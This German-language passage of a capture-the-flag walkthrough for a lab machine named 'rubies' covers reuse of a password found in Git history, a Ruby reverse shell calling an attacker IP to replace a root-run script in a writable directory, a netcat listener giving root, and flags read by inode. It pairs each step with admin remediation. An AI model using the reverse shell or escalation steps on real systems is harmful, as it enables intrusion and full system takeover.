irb(main):001:0> # Erfolg! IRB-Shell erhalten

minnie@rubies:/tmp$ # Bash-Shell als minnie

Analyse: Der Befehl `su minnie` wird ausgeführt. Das aus der Git-Historie gefundene Passwort `jd92khn49w` wird eingegeben. Der Login ist erfolgreich, landet aber in einer Interactive Ruby Shell (`irb`). Mit `exec '/bin/bash'` wird die IRB-Shell durch eine Bash-Shell ersetzt, die nun als Benutzer `minnie` läuft.

Bewertung: Privilege Escalation von `www-data` zu `minnie` erfolgreich durchgeführt durch Wiederverwendung des im Git-Repository gefundenen Passworts.

Empfehlung (Pentester): Enumerieren Sie nun als `minnie`. Prüfen Sie `sudo -l`, untersuchen Sie das Home-Verzeichnis `/home/minnie` und den in `note.txt` erwähnten Ordner genauer.
Empfehlung (Admin): Vermeiden Sie Passwort-Wiederverwendung. Ändern Sie das kompromittierte Passwort.

[sudo] password for minnie:

Sorry, user minnie may not run sudo on rubies.

Analyse: Als `minnie` wird `sudo -l` ausgeführt. Nach Eingabe des Passworts (`jd92khn49w`) wird angezeigt, dass `minnie` keine `sudo`-Berechtigungen hat.

Bewertung: `sudo` ist kein direkter Eskalationsweg für `minnie`.

Empfehlung (Pentester): Suchen Sie nach anderen Vektoren: SUID-Binaries, Cronjobs, unsichere Dateiberechtigungen, Kernel-Exploits. Untersuchen Sie den Ordner aus `note.txt`.
Empfehlung (Admin): Korrekte `sudo`-Konfiguration.

H0wc00l_i5_Byp@@s1n9

Analyse: Als `minnie` wird die Datei `user.txt` im Home-Verzeichnis gelesen.

Bewertung: Die User-Flag wurde gefunden.

Empfehlung (Pentester): Flag dokumentieren. Konzentration auf Root-Eskalation.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

[Keine Ausgabe]

drwxr-xr-x  3 root root   4096 Nov  2  2020 .
drwxr-xr-x 23 root root   4096 Nov  2  2020 ..
drwxrwxr-x  2 root minnie 4096 Nov  2  2020 cleaning <-- Gruppe minnie hat Schreibrechte!

[Keine Ausgabe]

drwxrwxr-x 2 root minnie 4096 Nov  2  2020 .
drwxr-xr-x 3 root root   4096 Nov  2  2020 ..
-rw-r--r-- 1 root root    108 Nov  2  2020 webserver_upload.rb <-- Ruby-Skript

Analyse: Basierend auf der `note.txt` wird das Verzeichnis `/opt/cleaning` untersucht. Die Berechtigungen (`drwxrwxr-x`) zeigen, dass die Gruppe `minnie` Schreibrechte in diesem Verzeichnis hat. Innerhalb des Verzeichnisses befindet sich ein Ruby-Skript namens `webserver_upload.rb`, das `root` gehört.

Bewertung: Dies ist ein potenzieller Privilege Escalation Vektor. Wenn ein Prozess mit Root-Rechten (z.B. ein Cronjob) das Skript `webserver_upload.rb` ausführt oder Dateien in diesem Verzeichnis verarbeitet, könnte `minnie` dies durch Modifizieren von Dateien oder Erstellen neuer Dateien im Verzeichnis `/opt/cleaning` ausnutzen. Da `minnie` Schreibrechte im Verzeichnis hat, kann sie das Skript `webserver_upload.rb` überschreiben.

Empfehlung (Pentester): Finden Sie heraus, ob und wann `webserver_upload.rb` ausgeführt wird (z.B. durch Überprüfung der Cronjobs: `cat /etc/crontab /etc/cron.*/*`, Prozess-Monitoring: `pspy`). Wenn es als Root ausgeführt wird, ersetzen Sie den Inhalt von `webserver_upload.rb` durch eine Ruby-Reverse-Shell, die sich zu Ihrem Listener verbindet.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von `/opt/cleaning`. Verzeichnisse, die von Root-Prozessen verwendete Skripte enthalten, sollten nicht für unprivilegierte Benutzer oder Gruppen schreibbar sein. Stellen Sie sicher, dass Cronjobs sicher sind und Skripte nicht manipuliert werden können.

#!/usr/bin/env ruby
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 2234, '192.168.2.121' <-- Angreifer IP & Port
[0,1,2].each { |fd| syscall 33, s.fileno, fd } <-- Dup2 für Shell I/O Redirection
exec '/bin/sh -i'

Analyse: Ein Ruby-Skript für eine Reverse Shell wird vorbereitet. Es stellt eine TCP-Verbindung zum Angreifer (192.168.2.121) auf Port 2234 her, leitet Standard-Input, -Output und -Error auf den Socket um (`syscall 33` ist `dup2` auf 64bit Linux) und startet dann eine interaktive Shell (`/bin/sh -i`).

Bewertung: Standardmäßige Ruby-Reverse-Shell, bereit zur Übertragung auf das Zielsystem.

Empfehlung (Pentester): Übertragen Sie dieses Skript auf das Zielsystem (z.B. mit `wget` von einem Python HTTP Server) in das Verzeichnis `/opt/cleaning` und überschreiben Sie damit `webserver_upload.rb`.
Empfehlung (Admin): Keine direkte Aktion.

[...]
2022-11-09 00:29:54 (107 MB/s) - ‘rshell.rb’ saved [270/270]

rshell.rb  webserver_upload.rb

mv: replace 'webserver_upload.rb', overriding mode 0644 (rw-r--r--)? y

total 12
drwxrwxr-x 2 root   minnie 4096 Nov  9 00:30 ./
drwxr-xr-x 3 root   root   4096 Nov  2  2020 ../
-rw-rw-r-- 1 minnie minnie  270 Nov  9 00:29 webserver_upload.rb <-- Überschrieben, gehört jetzt minnie

Analyse: Das vorbereitete Ruby-Reverse-Shell-Skript (`rshell.rb`) wird vom Angreifer-Server heruntergeladen. Anschließend wird die ursprüngliche Datei `webserver_upload.rb` mit dem heruntergeladenen Skript überschrieben (`mv`). Wichtig: Die neue Datei gehört nun `minnie`.

Bewertung: Das für die Eskalation vorgesehene Skript wurde erfolgreich durch die Reverse-Shell-Payload ersetzt. Nun muss gewartet werden, bis der (vermutete) Root-Prozess dieses Skript ausführt.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Ihrem System auf Port 2234 und warten Sie auf die eingehende Verbindung, die ausgelöst wird, wenn der Cronjob oder der überwachende Prozess das manipulierte Skript ausführt.
Empfehlung (Admin): Überwachen Sie Änderungen an kritischen Skripten. Stellen Sie sicher, dass Prozesse, die Skripte ausführen, deren Integrität prüfen oder sicherstellen, dass sie nicht von unprivilegierten Benutzern geändert werden können.

listening on [any] 2234 ...

listening on [any] 2234 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.117] 51604
/bin/sh: 0: can't access tty; job control turned off
# # Root-Shell erhalten!

Analyse: Der Netcat-Listener wird auf Port 2234 gestartet. Nach einer Wartezeit (impliziert, dass ein automatisierter Prozess das Skript auslöst) geht eine Verbindung vom Zielsystem ein, und der Angreifer erhält eine Shell. Der Prompt `#` deutet darauf hin, dass es sich um eine Root-Shell handelt.

Bewertung: Privilege Escalation zu `root` erfolgreich! Der Angreifer hat das System vollständig übernommen, indem er ein Skript in einem schreibbaren Verzeichnis überschrieben hat, das von einem Root-Prozess ausgeführt wird.

Empfehlung (Pentester): Root-Zugriff ist erreicht. Suchen Sie die Root-Flag (`root.txt`).
Empfehlung (Admin): Identifizieren und beheben Sie den Cronjob oder Prozess, der das Skript in `/opt/cleaning` unsicher ausführt. Korrigieren Sie die Verzeichnisberechtigungen.

total 8
20552 -rw-r--r-- 1 root root 217 Nov  2  2020 bundle.rb
18464 -rw------- 1 root root  15 Nov  2  2020 ​root.txt <-- Dateiname mit unsichtbarem Zeichen?

cat: root.txt: No such file or directory

pyth0N>r00bi35

Analyse: Als Root wird versucht, `root.txt` zu lesen. `ls -li` zeigt die Datei zusammen mit ihrer Inode-Nummer (18464) an, aber `cat root.txt` schlägt fehl ("No such file or directory"). Dies deutet darauf hin, dass der Dateiname unsichtbare Zeichen oder Leerzeichen enthält. Mit `find / -inum 18464 -exec cat {} \;` wird die Datei anhand ihrer Inode-Nummer gefunden und ihr Inhalt erfolgreich ausgegeben.

Bewertung: Die Root-Flag wurde gefunden und gelesen. Die Schwierigkeit lag im ungewöhnlichen Dateinamen.

Empfehlung (Pentester): Flag dokumentieren. Die Verwendung von Inode-Nummern ist ein guter Trick, um auf Dateien mit problematischen Namen zuzugreifen.
Empfehlung (Admin): Vermeiden Sie ungewöhnliche Zeichen in Dateinamen. Sorgen Sie für konsistente Benennung.